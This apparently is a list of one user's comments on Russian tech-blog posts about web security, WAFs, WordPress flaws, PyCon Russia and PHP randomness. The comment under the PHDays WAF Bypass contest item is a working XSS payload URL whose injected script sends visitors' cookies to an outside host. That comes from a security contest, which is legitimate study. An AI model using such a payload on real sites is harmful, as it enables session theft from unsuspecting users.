Защита корпоративных приложений: как стать разработчиком PT Application Firewall

Сейчас используем libnids + libpcap, также есть работающая версия на netmap, но ее нужно развивать.

Защита корпоративных приложений: как стать разработчиком PT Application Firewall

Нет, будем писать свою кибану.

84% сайтов на WordPress могут быть взломаны: что дальше?

Мы сделали это с помощью angular-ui-codemirror.

84% сайтов на WordPress могут быть взломаны: что дальше?

В сторонних плагинах для комментирования, например Disqus или Cackle, уязвимость отсутствует, так как форматирование HTML не производится вордпрессом.

84% сайтов на WordPress могут быть взломаны: что дальше?

Этот пост про конкретную уязвимость, наверно она и имелась в виду.

84% сайтов на WordPress могут быть взломаны: что дальше?

Да, с kibana можно делать отличные дашборды, мы разрабатываем еще более удобный форк.

84% сайтов на WordPress могут быть взломаны: что дальше?

Да, верно.

Разбор заданий конкурса WAF Bypass на PHDays IV

http://task6.waf-bypass.phdays.com/sanitize.php?test=%3Ca+href=%22http://waf-bypass.phdays.com/%23bot%22%3Ehttp://waf-bypass.phdays.com/%23bot%3C/a%3E&name=%3Cscript%3Edocument.location.href=%27http://webmalware.lvk.cs.msu.su?%27%2bdocument.cookie%3C/script%3E

Внутренняя кухня организации PyCon Russia и международные отношения

Кстати, после прошлого PyCon образовалась как минимум одна семейная пара: девушка-организатор вышла замуж за докладчика.

Это вы про Армина Ронахера, создателя Flask?

Подборка трюков при анализе защищенности веб приложений

Вопрос: этот японский вектор кто-нибудь знал кроме самих японцев до того, как появился XXE OOB?

ICQ, новые функции — новые дыры

После прочтения ощущение, как будто на дворе начало нулевых.

CONFidence. Опять о том, как там круто

Было очень атмосферно и душевно, очень понравилось отношение к спикерам. Но самое клевое — это идея проведения на открытом воздухе, организаторам зачет!

Как превратить браузер в notepad за 1 секунду

Ну теперь заживем!

С праздником, безопасники!

надо было на NASM'е

Безопасность случайных чисел в Python

Что rand, что mt_rand — обе функции небезопасны и дело даже не в них, а в том, что в PHP сид задается одинаково, причем одинаково плохо и предсказуемо. Общались по этому поводу с разработчиками PHP, однако ничего менять они не собираются, согласились лишь добавить плашку в документации, хотя и той не видно.

Использование регулярных выражений в Ruby

Нет, так же работает.

Использование регулярных выражений в Ruby

Забыли главную особенность регулярок в Руби: homakov.blogspot.com/2012/05/saferweb-injects-in-various-ruby.html